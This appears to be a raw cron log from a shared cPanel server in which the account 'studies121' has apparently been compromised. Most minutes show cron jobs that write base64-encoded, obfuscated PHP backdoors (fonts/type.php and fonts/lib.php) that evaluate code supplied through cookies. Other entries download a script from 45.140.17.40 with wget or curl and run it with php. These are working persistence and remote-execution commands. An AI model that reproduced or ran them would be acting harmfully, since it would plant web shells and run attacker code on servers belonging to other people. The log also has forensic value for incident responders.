Aug 30 07:52:01 ip-184-168-122-23 CROND[6897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:53:01 ip-184-168-122-23 CROND[7074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:53:01 ip-184-168-122-23 CROND[7076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:53:01 ip-184-168-122-23 CROND[7077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:53:01 ip-184-168-122-23 CROND[7078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:54:01 ip-184-168-122-23 CROND[7164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:54:01 ip-184-168-122-23 CROND[7166]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:54:01 ip-184-168-122-23 CROND[7167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:54:01 ip-184-168-122-23 CROND[7168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:54:01 ip-184-168-122-23 CROND[7165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:55:01 ip-184-168-122-23 CROND[7261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:55:01 ip-184-168-122-23 CROND[7264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:55:01 ip-184-168-122-23 CROND[7263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:55:01 ip-184-168-122-23 CROND[7265]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:55:01 ip-184-168-122-23 CROND[7268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:55:01 ip-184-168-122-23 CROND[7269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:56:01 ip-184-168-122-23 CROND[7371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:56:01 ip-184-168-122-23 CROND[7372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:56:01 ip-184-168-122-23 CROND[7370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:56:01 ip-184-168-122-23 CROND[7373]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:56:01 ip-184-168-122-23 CROND[7374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:57:02 ip-184-168-122-23 CROND[7482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:57:02 ip-184-168-122-23 CROND[7483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:57:02 ip-184-168-122-23 CROND[7486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:57:02 ip-184-168-122-23 CROND[7484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:58:01 ip-184-168-122-23 CROND[7598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:58:01 ip-184-168-122-23 CROND[7600]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:58:01 ip-184-168-122-23 CROND[7599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:58:01 ip-184-168-122-23 CROND[7601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:58:01 ip-184-168-122-23 CROND[7603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:59:01 ip-184-168-122-23 CROND[7767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:59:01 ip-184-168-122-23 CROND[7768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:59:01 ip-184-168-122-23 CROND[7769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:59:01 ip-184-168-122-23 CROND[7770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:00:01 ip-184-168-122-23 CROND[7865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7869]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:00:01 ip-184-168-122-23 CROND[7871]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:00:01 ip-184-168-122-23 CROND[7880]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Aug 30 08:01:01 ip-184-168-122-23 CROND[7971]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7971]: starting 0anacron
Aug 30 08:01:01 ip-184-168-122-23 CROND[7977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:01:01 ip-184-168-122-23 CROND[7979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:01:01 ip-184-168-122-23 CROND[7980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:01:01 ip-184-168-122-23 CROND[7978]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:01:01 ip-184-168-122-23 CROND[7981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7991]: finished 0anacron
Aug 30 08:02:01 ip-184-168-122-23 CROND[8077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:02:01 ip-184-168-122-23 CROND[8079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:02:01 ip-184-168-122-23 CROND[8080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:02:01 ip-184-168-122-23 CROND[8082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:02:01 ip-184-168-122-23 CROND[8081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:03:01 ip-184-168-122-23 CROND[8190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:03:01 ip-184-168-122-23 CROND[8191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:03:01 ip-184-168-122-23 CROND[8193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:03:01 ip-184-168-122-23 CROND[8194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:04:01 ip-184-168-122-23 CROND[8271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:04:01 ip-184-168-122-23 CROND[8275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:04:01 ip-184-168-122-23 CROND[8276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
